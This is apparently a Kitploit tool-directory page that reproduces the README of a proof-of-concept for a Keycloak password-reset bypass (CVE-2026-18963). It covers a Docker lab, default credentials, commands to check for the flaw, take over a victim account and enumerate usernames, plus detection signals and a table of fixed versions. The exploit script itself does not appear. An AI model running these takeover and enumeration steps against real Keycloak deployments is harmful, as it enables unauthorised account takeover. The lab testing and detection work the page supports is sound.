Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Keycloak_CVE-2026-18963_PoC — This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...). | Kitploit
工具/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLabs & Practice
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
141321天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-18963

Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 – 26.7.1


Layout

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requirements

  • Docker + Docker Compose
  • Python 3.9+ (standard library only, nothing to install)
  • Linux

Step 1: Start the lab

root@kitploit:~
docker compose up -d

Or run Keycloak directly, without the realm import:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Wait ~30–60 seconds for Keycloak to finish booting.

Services

ServiceURLVersionStatus
kc-vuln

Default credentials

  • Keycloak admin: admin / admin
  • Victim user: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • Verify config: Realm settings → Login tab → Forgot password is ON.
  • If the poc realm or the victim user is missing, import it manually: Manage realms → Create realm → Upload realm-poc.json.

Step 2: Run the PoC

Safe check (no username required, no side effects)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Expected result on kc-vuln: [!] VULNERABLE — email gate execution served


Non-destructive proof (stops at the Update Password form)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Side effects: a reset email is sent to the victim (view it at http://localhost:8025), and emailVerified is set to true.


Full takeover

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Afterwards, verify by logging in at http://localhost:8080/realms/poc/account with victim / PoCPassw0rd!1.


Username enumeration

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Step 3: Reset the victim to its initial state

The realm is imported only on first boot, so the simplest reset is to recreate the environment from scratch:

root@kitploit:~
docker compose down -v && docker compose up -d

Alternatively, reset the password manually in the admin console (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Teardown

root@kitploit:~
docker compose down -v

Detection signals

In Mailpit (http://localhost:8025) the password-reset email arrives in the victim's mailbox, but the link inside it is never clicked when the exploit succeeds.


Affected versions

Versions before 26.0 are not affected: the sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note and the "Try another way" selector screen in the reset flow were introduced in 26.0.0. Older builds simply lack the vulnerable code path — that is not the same as being patched.


References

  • Sploitus (original README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Keycloak issue: https://github.com/keycloak/keycloak/issues/51833
  • Fix PR: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
下载工具
http://localhost:8080
26.7.1
VULNERABLE ⚠️
Mailpithttp://localhost:8025latestCaptures email
SignalLegitimateExploit
GET /login-actions/action-token?...✅ Yes❌ No
POST .../reset-credentials with body tryAnotherWay=yes❌ No✅ Yes
SEND_RESET_PASSWORD → UPDATE_PASSWORD with the same code_id < 2 sRare✅ Always
emailVerified flips to true with no VERIFY_EMAIL event❌✅ Always
Release lineAffectedFix
≤ 17 (WildFly)No—
26.0 – 26.326.0.0 – 26.x.xNone (must move to 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (vendor backport)
26.526.5.0 – 26.5.7None
26.626.6.0 – 26.6.526.6.6 (vendor backport)
26.726.7.0 – 26.7.126.7.2 ✅